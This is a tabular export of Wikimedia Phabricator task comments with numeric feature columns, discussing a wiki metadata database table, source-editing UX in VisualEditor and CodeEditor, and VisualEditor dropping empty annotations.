210037,Provide wiki metadata in the databases similar to toolserver.wiki,"It would be possible, but probably unhelpful: from what I understand, the server column is numeric whereas I provide actual host names.  Keeping the column named the same with changed semantics seems to be asking for trouble IMO (i.e.: better a select fails than return a string that is misinterpreted as an integer by code with poor error checking).",,,1377636605,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,1.0,0.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,7.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,4.0,0.0,3.0,1.0,0.0,1.0,4.294117647058823,0.8382352941176471,"It would be possible, but probably unhelpful: from what I understand, the server column is numeric whereas I provide actual host names.  Keeping the column named the same with changed semantics seems to be asking for trouble IMO (i.e.: better a select fails than return a string that is misinterpreted as an integer by code with poor error checking)."
210029,Provide wiki metadata in the databases similar to toolserver.wiki,"Would be a problem to rename slice to server, in order to match the column name of toolserver?

The name column looks good to me from a quick look, btw.",,,1377636490,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,20.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,20.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.5428571428571427,0.8,"Would be a problem to rename slice to server, in order to match the column name of toolserver?

The name column looks good to me from a quick look, btw."
210025,Provide wiki metadata in the databases similar to toolserver.wiki,"I did not want to rely on the existence of bool, which isn't ANSI; mysql ""helpfully"" translated my numeric(1) to decimal(1,0).",,,1377636432,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,10.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,14.0,3.0,0.0,7.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6551724137931036,0.896551724137931,"I did not want to rely on the existence of bool, which isn't ANSI; mysql ""helpfully"" translated my numeric(1) to decimal(1,0)."
210020,Provide wiki metadata in the databases similar to toolserver.wiki,"decimal(1,0) ? This seems strange. Shouldn't those is_* and has_* be BOOL aka. TINYINT(1) ?",,,1377636291,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2083333333333335,0.7916666666666666,"decimal(1,0) ? This seems strange. Shouldn't those is_* and has_* be BOOL aka. TINYINT(1) ?"
210015,Provide wiki metadata in the databases similar to toolserver.wiki,"I've added a table with automatically maintained meta information
about the replicated databases: meta_p.wiki (which is available on every
shard).

+------------------+--------------+------+-----+---------+-------+
| Field            | Type         | Null | Key | Default | Extra |
+------------------+--------------+------+-----+---------+-------+
| dbname           | varchar(32)  | NO   | PRI | NULL    |       |
| lang             | varchar(12)  | NO   |     | en      |       |
| name             | text         | YES  |     | NULL    |       |
| family           | text         | YES  |     | NULL    |       |
| url              | text         | YES  |     | NULL    |       |
| size             | decimal(1,0) | NO   |     | 1       |       |
| slice            | text         | NO   |     | NULL    |       |
| is_closed        | decimal(1,0) | NO   |     | 0       |       |
| has_echo         | decimal(1,0) | NO   |     | 0       |       |
| has_flaggedrevs  | decimal(1,0) | NO   |     | 0       |       |
| has_visualeditor | decimal(1,0) | NO   |     | 0       |       |
| has_wikidata     | decimal(1,0) | NO   |     | 0       |       |
+------------------+--------------+------+-----+---------+-------+

There is a lingering issue with the 'name' column which seems to
improperly encode the Wiki name when non-ascii characters are involved;
that will get fix once I manage to beat some sense into mysql.

Most columns are self-explanatory, and I can add a few more depending on
demand.  In the meantime, (dbname, slice) provides the much requested
mapping between databases and slices.",,,1377636000,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.0,0.25,0.0,3.0,0.25,0.0,0.0,0.0,0.25,0.75,0.0,0.0,0.25,0.75,0.0,5.25,3.25,0.0,0.5,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.25,0.0,2.25,0.25,0.0,0.75,0.0,0.25,0.25,0.0,0.5,0.0,0.0,0.25,0.25,0.0,0.25,0.0,0.0,0.0,27.75,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,2.25,1.0,8.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,1.25,3.0,2.0,0.0,0.75,3.25,4.75,0.0,0.5,0.0,0.75,0.0,0.75,0.75,0.0,0.5,0.25,0.25,0.0,3.9401493871297237,0.46057839632277836,"I've added a table with automatically maintained meta information
about the replicated databases: meta_p.wiki (which is available on every
shard).

+------------------+--------------+------+-----+---------+-------+
| Field            | Type         | Null | Key | Default | Extra |
+------------------+--------------+------+-----+---------+-------+
| dbname           | varchar(32)  | NO   | PRI | NULL    |       |
| lang             | varchar(12)  | NO   |     | en      |       |
| name             | text         | YES  |     | NULL    |       |
| family           | text         | YES  |     | NULL    |       |
| url              | text         | YES  |     | NULL    |       |
| size             | decimal(1,0) | NO   |     | 1       |       |
| slice            | text         | NO   |     | NULL    |       |
| is_closed        | decimal(1,0) | NO   |     | 0       |       |
| has_echo         | decimal(1,0) | NO   |     | 0       |       |
| has_flaggedrevs  | decimal(1,0) | NO   |     | 0       |       |
| has_visualeditor | decimal(1,0) | NO   |     | 0       |       |
| has_wikidata     | decimal(1,0) | NO   |     | 0       |       |
+------------------+--------------+------+-----+---------+-------+

There is a lingering issue with the 'name' column which seems to
improperly encode the Wiki name when non-ascii characters are involved;
that will get fix once I manage to beat some sense into mysql.

Most columns are self-explanatory, and I can add a few more depending on
demand.  In the meantime, (dbname, slice) provides the much requested
mapping between databases and slices."
210011,Provide wiki metadata in the databases similar to toolserver.wiki,"Yes, but you need to populate that table from /somewhere/.  :-)",,,1373664795,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,1.0,"Yes, but you need to populate that table from /somewhere/.  :-)"
210007,Provide wiki metadata in the databases similar to toolserver.wiki,API is per wiki. toolserver.wiki is a meta table.,,,1373651612,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8181818181818182,API is per wiki. toolserver.wiki is a meta table.
210003,Provide wiki metadata in the databases similar to toolserver.wiki,"(In reply to comment #4)
> In addition, I think we should only rely on MediaWiki's API for this
> information (with user authentication, as necessary).

This is particularly important in that some extensions may have hard-to-evaluate effect on some configuration values (namespaces and usergroups being the more obvious cases).

I should say that any necessary configuration value that cannot be fetched through the API should be /added/ to the API rather than fetched through an alternative scheme.

-- Marc",,,1370202628,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-5,,4.0,0.0,0.0,1.0,1.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,14.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,10.0,3.0,1.0,10.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,1.0,14.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,4.333333333333333,0.7307692307692307,"(In reply to comment #4)
QUOTE
QUOTE

This is particularly important in that some extensions may have hard-to-evaluate effect on some configuration values (namespaces and usergroups being the more obvious cases).

I should say that any necessary configuration value that cannot be fetched through the API should be /added/ to the API rather than fetched through an alternative scheme.

-- Marc"
209999,Provide wiki metadata in the databases similar to toolserver.wiki,"I think we should have a discussion about what the current ""toolserver"" database is, what we want in the future, and whether we care about breaking backward compatibility.

Some of the design decisions in some of the database tables could probably be re-thought, but only if we're willing to break the current interfaces.

In addition, I think we should only rely on MediaWiki's API for this information (with user authentication, as necessary). This is the cleanest and sanest way to accurately get this information, as far as I know.",,,1370195310,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-5,,1.0,0.0,0.0,0.5,0.0,6.5,1.0,0.0,0.0,0.5,4.5,1.0,0.0,1.5,0.0,5.5,0.0,4.5,12.0,0.0,2.0,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,5.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,4.5,2.0,6.5,1.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.5,12.0,1.0,0.0,1.0,0.0,5.5,0.0,1.0,0.5,0.0,0.5,0.0,2.0,0.0,4.1186868686868685,0.7707070707070707,"I think we should have a discussion about what the current ""toolserver"" database is, what we want in the future, and whether we care about breaking backward compatibility.

Some of the design decisions in some of the database tables could probably be re-thought, but only if we're willing to break the current interfaces.

In addition, I think we should only rely on MediaWiki's API for this information (with user authentication, as necessary). This is the cleanest and sanest way to accurately get this information, as far as I know."
209992,Provide wiki metadata in the databases similar to toolserver.wiki,"Do we want a database table consisting of three columns: wiki, config_variable_name, and config_variable_value (as a serialized blob)?",,,1370194918,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.875,0.9166666666666666,"Do we want a database table consisting of three columns: wiki, config_variable_name, and config_variable_value (as a serialized blob)?"
209986,Provide wiki metadata in the databases similar to toolserver.wiki,"(In reply to comment #1)
> Played around with:
> 
> | include ($MediaWikiRepoPath . ""/includes/Defines.php"");
> | include ($WmfConfigRepoPath . ""/wmf-config/InitialiseSettings.php"");
> | var_dump ($wgConf->settings);
> 
> but it doesn't yield for example information about de.wikipedia.org.

Some experiments:

$ php maintenance/eval.php 
> $wgDBname='zhwiki';

> $wmfRealm='production';

> $mwConfigDir=""$IP/../operations/mediawiki-config"";

> $wmfConfigDir=""$mwConfigDir/wmf-config"";

> function getRealmSpecificFilename($p){global $IP,$wmfConfigDir;return str_replace($p,$IP,$wmfConfigDir);}

> function wmfLoadInitialiseSettings($c){global $wmfConfigDir;require(""$wmfConfigDir/InitialiseSettings.php"");}

> require(""$wmfConfigDir/wgConf.php"");

> list($site,$lang)=$wgConf->siteFromDB($wgDBname);

> $wikiTags=array();

> $mwConfigDirHandle=opendir($mwConfigDir);

> while(($f=readdir($mwConfigDirHandle))!==false){if(pathinfo($f,PATHINFO_EXTENSION)==='dblist'&&in_array($wgDBname,array_map('trim',file(""$mwConfigDir/$f"")))){$wikiTags[]=pathinfo($f,PATHINFO_FILENAME);}}

> $dbSuffix = ( $site === 'wikipedia' ) ? 'wiki' : $site;

> $wgConf->loadFullData();

> $globals = $wgConf->getAll( $wgDBname, $dbSuffix,array('lang'    => $lang,'site'    => $site,'stdlogo' => ""//upload.wikimedia.org/$site/$lang/b/bc/Wiki.png""), $wikiTags );

> print_r($globals);
Array
(
    [wgLegacyEncoding] => 
    [wgCapitalLinks] => 1
    ...
)

>",,,1369467985,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-6,,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,2.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,3.3411764705882354,0.32941176470588235,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Some experiments:

$ php maintenance/eval.php 
QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE

QUOTE
Array
(
    [wgLegacyEncoding] => 
    [wgCapitalLinks] => 1
    ...
)

QUOTE"
209978,Provide wiki metadata in the databases similar to toolserver.wiki,"Played around with:

| include ($MediaWikiRepoPath . ""/includes/Defines.php"");
| include ($WmfConfigRepoPath . ""/wmf-config/InitialiseSettings.php"");
| var_dump ($wgConf->settings);

but it doesn't yield for example information about de.wikipedia.org.",,,1369450706,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,7.0,7.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.277777777777778,0.6481481481481481,"Played around with:

| include ($MediaWikiRepoPath . ""/includes/Defines.php"");
| include ($WmfConfigRepoPath . ""/wmf-config/InitialiseSettings.php"");
| var_dump ($wgConf->settings);

but it doesn't yield for example information about de.wikipedia.org."
50610,"VisualEditor, CodeEditor, etc: User experience of editing page source directly","There are now at least three ways to edit a page via index.php (not including other crazy things like Wikidata). I couldn't find a bug tracking this user experience issue, so I'm filing this one.

The three ways I'm initially focused on are:

* directly editing the wikitext (which can appear as an ""edit source"" page tab when VisualEditor is enabled);
* VisualEditor [https://www.mediawiki.org/wiki/VisualEditor]; and
* CodeEditor [https://www.mediawiki.org/wiki/Extension:CodeEditor] (automatic for pages in the Module namespace and soon the CSS/JS pages as well; has a toggle in the edit toolbar).

In particular to switch to editing the source, I'm worried about divergent approaches in the user interface. For example, a page tab v. a toggle in the edit toolbar.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1368935460,1725936323.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-xka4cwtxxzprt6337pfw,task_description,invalid,True,c1,1,False,False,False,-7,,0.0,0.0,0.0,0.5,1.0,4.0,0.0,0.0,0.0,0.0,4.5,2.0,0.0,0.0,0.5,2.0,0.0,6.5,9.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,8.0,1.5,10.5,0.5,1.0,9.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,9.5,4.5,0.0,1.0,0.0,2.0,0.0,1.0,3.5,0.0,2.5,0.0,0.5,1.5,3.7588235294117647,0.7235294117647059,"There are now at least three ways to edit a page via index.php (not including other crazy things like Wikidata). I couldn't find a bug tracking this user experience issue, so I'm filing this one.

The three ways I'm initially focused on are:

* directly editing the wikitext (which can appear as an ""edit source"" page tab when VisualEditor is enabled);
* VisualEditor [URL and
* CodeEditor [URL (automatic for pages in the Module namespace and soon the CSS/JS pages as well; has a toggle in the edit toolbar).

In particular to switch to editing the source, I'm worried about divergent approaches in the user interface. For example, a page tab v. a toggle in the edit toolbar.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
2412231,"VisualEditor, CodeEditor, etc: User experience of editing page source directly","This 2013 task with no updates in a decade does not seem to be tracking any actionable problem per Aklapper's comment above, so closing.",,,1725936323,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-xka4cwtxxzprt6337pfw,task_subcomment,,True,c1,3,True,,,584,,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.185185185185185,1.0,"This 2013 task with no updates in a decade does not seem to be tracking any actionable problem per Aklapper's comment above, so closing."
208758,"VisualEditor, CodeEditor, etc: User experience of editing page source directly",Slightly unclear what the bug to fix is here (and hence when it can be considered fixed). Could you elaborate?,,,1369397664,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xka4cwtxxzprt6337pfw,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7916666666666665,1.0,Slightly unclear what the bug to fix is here (and hence when it can be considered fixed). Could you elaborate?
208755,"VisualEditor, CodeEditor, etc: User experience of editing page source directly","oh, and we can also add wikEd to that list :D",,,1368959990,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-xka4cwtxxzprt6337pfw,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,1.0,"oh, and we can also add wikEd to that list :D"
50605,VisualEditor: Empty annotations are dropped,"VE drops things like <i></i>, which Parsoid sometimes uses to preserve strange things.

I think a solution might be to store this as an inline node or as a meta item.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1368896280,1371840406.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-njbgmmjxybp3rk2azuui,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,3.8,0.7272727272727273,"VE drops things like <i></i>, which Parsoid sometimes uses to preserve strange things.

I think a solution might be to store this as an inline node or as a meta item.

--------------------------
**Version**: unspecified
**Severity**: normal"
208504,VisualEditor: Empty annotations are dropped,"This works for single annotations, but not for nested ones. See https://gerrit.wikimedia.org/r/#/c/69343/ for a failing test case.",,,1371582191,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.8,0.85,"This works for single annotations, but not for nested ones. See URL for a failing test case."
208498,VisualEditor: Empty annotations are dropped,Split new items out to bug 49497; closing this one.,,,1371065118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,1.0,Split new items out to bug 49497; closing this one.
